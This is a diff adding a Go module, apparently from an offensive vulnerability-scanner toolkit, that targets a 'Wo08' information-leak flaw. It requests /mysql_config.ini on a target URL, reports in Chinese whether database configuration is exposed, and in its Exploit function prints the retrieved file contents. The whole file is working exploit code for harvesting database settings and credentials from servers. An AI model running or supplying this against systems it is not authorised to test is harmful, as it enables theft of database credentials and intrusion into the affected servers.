|
| 1 | +package vulners |
| 2 | + |
| 3 | +import ( |
| 4 | + "github.com/fatih/color" |
| 5 | + "strings" |
| 6 | +) |
| 7 | + |
| 8 | +type Wo08 struct { |
| 9 | +} |
| 10 | + |
| 11 | +func (s *Wo08) Scan(targetUrl string) { |
| 12 | + vulnerable, err := Wo08scancore(targetUrl) |
| 13 | + if err != nil { |
| 14 | + color.Red("[x]请求异常!") |
| 15 | + return |
| 16 | + } |
| 17 | + if vulnerable { |
| 18 | + color.Green("[Wo08] 存在mysql_config 数据库信息泄露") |
| 19 | + } else { |
| 20 | + color.White("[Wo08] 不存在mysql_config 数据库信息泄露") |
| 21 | + } |
| 22 | +} |
| 23 | + |
| 24 | +func (*Wo08) Exploit(targetUrl string) { |
| 25 | + runResult, err := Wo08runcore(targetUrl) |
| 26 | + if err != nil { |
| 27 | + color.Red("[x]漏洞利用异常!") |
| 28 | + return |
| 29 | + } |
| 30 | + if runResult != "" { |
| 31 | + color.Green(runResult) |
| 32 | + } else { |
| 33 | + color.White("[!]漏洞利用无返回结果") |
| 34 | + } |
| 35 | +} |
| 36 | + |
| 37 | +func Wo08scancore(targetUrl string) (bool, error) { |
| 38 | + url := "/mysql_config.ini" |
| 39 | + resp, err := baseClient.NewRequest(). |
| 40 | + SetHeader("Content-Type", "application/x-www-form-urlencoded"). |
| 41 | + Get(targetUrl + url) |
| 42 | + if err != nil { |
| 43 | + return false, err |
| 44 | + } |
| 45 | + resContent := resp.String() |
| 46 | + if strings.Contains(resContent, "data") { |
| 47 | + return true, nil |
| 48 | + } else { |
| 49 | + return false, nil |
| 50 | + } |
| 51 | +} |
| 52 | + |
| 53 | +func Wo08runcore(targetUrl string) (string, error) { |
| 54 | + url := "/mysql_config.ini" |
| 55 | + resp, err := baseClient.NewRequest(). |
| 56 | + SetHeader("Content-Type", "application/x-www-form-urlencoded"). |
| 57 | + Get(targetUrl + url) |
| 58 | + if err != nil { |
| 59 | + return "", err |
| 60 | + } |
| 61 | + resContent := resp.String() |
| 62 | + |
| 63 | + if strings.Contains(resContent, "data") { |
| 64 | + return "存在mysql_config 数据库信息泄露\n" + resContent, nil |
| 65 | + } else { |
| 66 | + return "", nil |
| 67 | + } |
| 68 | +} |
0 commit comments